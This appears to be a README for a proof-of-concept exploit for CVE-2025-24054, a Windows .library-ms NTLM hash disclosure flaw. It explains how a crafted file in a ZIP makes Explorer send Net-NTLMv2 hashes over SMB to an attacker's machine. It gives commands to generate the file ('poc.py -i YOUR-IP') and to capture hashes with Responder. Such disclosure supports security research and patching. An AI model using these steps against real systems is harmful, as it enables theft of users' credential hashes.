
Proof-of-concept exploit for CVE-2025-24054, a Windows Library (.library-ms) NTLM hash disclosure vulnerability. Generates a malicious .library-ms file to leak Net-NTLMv2 hashes via SMB when extracted from a ZIP archive.
A simple Proof of Concept for CVE-2025-24054 – Windows Library (.library-ms) NTLM Hash Disclosure Vulnerability.
⚠️ For Educational and Authorized Lab Use Only
CVE-2025-24054 allows an attacker to force a Windows system to leak the victim's Net-NTLMv2 hash by using a specially crafted .library-ms file.
When the victim extracts a ZIP containing the malicious .library-ms file, Windows Explorer automatically initiates an SMB connection, leaking the NTLM hash.
.library-ms file containing a UNC path pointing to their machine.
python poc.py -i YOUR-IP
sudo responder -I eth0